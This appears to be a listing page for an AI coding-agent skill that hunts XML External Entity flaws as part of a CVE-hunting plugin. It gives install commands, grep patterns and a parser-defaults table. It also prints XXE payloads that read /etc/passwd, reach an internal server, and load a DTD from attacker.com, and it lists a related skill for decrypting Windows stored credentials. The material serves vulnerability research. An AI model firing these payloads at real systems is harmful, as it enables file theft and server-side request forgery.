advisory-mining
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or…
Detect XML External Entity injection where XML parsers process untrusted input with external entity loading enabled, allowing file read or SSRF.
Claude Code
$ npx -y skills add ByamB4/find-cve-agent --skill xxe --agent claude-code
Codex
$ npx skills add ByamB4/find-cve-agent --skill xxe -a codex -y
Cursor
$ npx skills add ByamB4/find-cve-agent --skill xxe -a cursor -y
Gemini CLI
$ npx skills add ByamB4/find-cve-agent --skill xxe -a gemini-cli -y
GitHub Copilot
$ npx skills add ByamB4/find-cve-agent --skill xxe -a github-copilot -y
OpenCode
$ npx skills add ByamB4/find-cve-agent --skill xxe -a opencode -y
Windsurf
$ npx skills add ByamB4/find-cve-agent --skill xxe -a windsurf -y
name: xxe
description: "Detect XML External Entity injection where XML parsers process untrusted input with external entity loading enabled, allowing file read or SSRF."
metadata:
filePattern:
- "**/*.js"
- "**/*.ts"
- "**/*.py"
- "**/*.go"
- "**/*.rb"
- "**/*.php"
- "**/*.java"
bashPattern:
- "semgrep.*xxe"
- "grep.*(XMLParser|DOMParser|SAXParser|DocumentBuilder)"
priority: 80Audit XML processing endpoints, SOAP services, document importers (DOCX/XLSX/SVG), and any code that parses XML from untrusted sources.
Both can exist in the same parser, but they are different vulnerabilities.
# JavaScript grep -rn "DOMParser\|XMLParser\|xml2js\|libxmljs\|xmldom\|sax\|saxes" . # Python grep -rn "xml\.etree\|lxml\|minidom\|xml\.sax\|defusedxml\|xmltodict" . # Go grep -rn "xml\.Decoder\|xml\.Unmarshal\|encoding/xml" . # Java grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|TransformerFactory\|SchemaFactory" . # PHP grep -rn "simplexml\|DOMDocument\|XMLReader\|xml_parse" . # Ruby grep -rn "Nokogiri\|REXML\|Ox\|LibXML" .
grep -rn "FEATURE_SECURE_PROCESSING\|FEATURE_EXTERNAL_ENTITIES\|FEATURE_GENERAL_ENTITIES" . grep -rn "resolve_entities\|external_entities\|load_external\|noent\|nonet" . grep -rn "disallow-doctype-decl\|external-general-entities\|external-parameter-entities" . grep -rn "XXE\|external.*entity\|doctype" .
Most modern parsers are SAFE by default. Key exceptions:
| Parser | Default External Entities | Safe? | |--------|--------------------------|-------| | xml.etree (Python) | Enabled | UNSAFE | | xml.sax (Python) | Enabled | UNSAFE | | lxml (Python) | Disabled | SAFE | | defusedxml (Python) | Disabled | SAFE | | encoding/xml (Go) | No entity support | SAFE | | Nokogiri (Ruby) | Disabled | SAFE | | REXML (Ruby) | Enabled | UNSAFE | | libxml2 (C) | Depends on flags | CHECK | | Java DocumentBuilder | Enabled | UNSAFE | | PHP simplexml | Depends on libxml2 config | CHECK | | PHP DOMDocument | Depends on libxml2 config | CHECK |
Does untrusted XML reach the parser? Common sources:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server/api/secret"> ]> <root>&xxe;</root>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <root>test</root>
Open Source CVE Hunting Harness for Claude Code A Claude Code plugin that systematically finds real CVEs in open source packages through coordinated multi-agent security research.
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or…
Detect authentication and authorization bypass vulnerabilities including missing auth middleware, JWT algorithm confusion, IDOR,…
Detect code injection vulnerabilities in packages that dynamically generate or evaluate code via new Function(), eval(), vm.run*,…
Detect OS command injection via shell execution sinks where user-controlled input reaches system commands without proper…
Cross-pollination multiplier technique: find a vulnerability in one package, then search for the same pattern across all similar…
Detect decompression bomb vulnerabilities where compressed input can expand to exhaust memory, targeting buffer-based…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…